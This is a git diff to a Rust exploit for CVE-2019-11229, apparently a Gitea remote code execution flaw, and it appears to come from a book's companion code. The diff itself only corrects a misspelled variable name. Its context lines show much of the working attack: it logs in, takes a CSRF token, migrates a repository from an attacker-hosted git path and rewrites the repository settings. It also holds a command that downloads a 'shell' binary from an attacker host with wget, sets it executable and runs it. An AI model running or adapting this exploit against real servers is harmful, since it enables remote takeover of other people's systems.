diff --git a/ch_07/exploits/cve_2019_11229/src/main.rs b/ch_07/exploits/cve_2019_11229/src/main.rs index 0b788df..68802f2 100644 --- a/ch_07/exploits/cve_2019_11229/src/main.rs +++ b/ch_07/exploits/cve_2019_11229/src/main.rs @@ -18,7 +18,7 @@ async fn main() -> Result<()> { let password = "password123"; let host_addr = "192.168.1.1"; let host_port: u16 = 3000; - let taregt_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string(); + let target_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string(); let cmd = "wget http://192.168.1.1:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell"; @@ -33,7 +33,7 @@ async fn main() -> Result<()> { println!("Logging in"); let body1 = [("user_name", username), ("password", password)]; - let url1 = format!("{}/user/login", taregt_url); + let url1 = format!("{}/user/login", target_url); let res1 = http_client.post(url1).form(&body1).send().await?; if !res1.status().is_success() { println!("Login unsuccessful"); @@ -44,7 +44,7 @@ async fn main() -> Result<()> { println!("Retrieving user ID"); - let res2 = http_client.get(format!("{}/", taregt_url)).send().await?; + let res2 = http_client.get(format!("{}/", target_url)).send().await?; if !res2.status().is_success() { println!("Could not retrieve user ID"); exit(1); @@ -133,7 +133,7 @@ async fn main() -> Result<()> { "http://{}:{}/{}.git", host_addr, host_port, git_temp_path_str ); - let cookies_url = taregt_url.parse::().expect("parsing cookies url"); + let cookies_url = target_url.parse::().expect("parsing cookies url"); let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?; let body3 = [ ("_csrf", csrf_token.as_str()), @@ -143,7 +143,7 @@ async fn main() -> Result<()> { ("mirror", "on"), ]; let res3 = http_client - .post(format!("{}/repo/migrate", taregt_url)) + .post(format!("{}/repo/migrate", target_url)) .form(&body3) .send() .await?; @@ -171,7 +171,7 @@ async fn main() -> Result<()> { let res4 = http_client .post(format!( "{}/{}/{}/settings", - taregt_url, &username, &repo_name + target_url, &username, &repo_name )) .form(&body4) .send() @@ -189,7 +189,7 @@ async fn main() -> Result<()> { let res5 = http_client .post(format!( "{}/{}/{}/settings", - taregt_url, &username, &repo_name + target_url, &username, &repo_name )) .form(&body5) .send()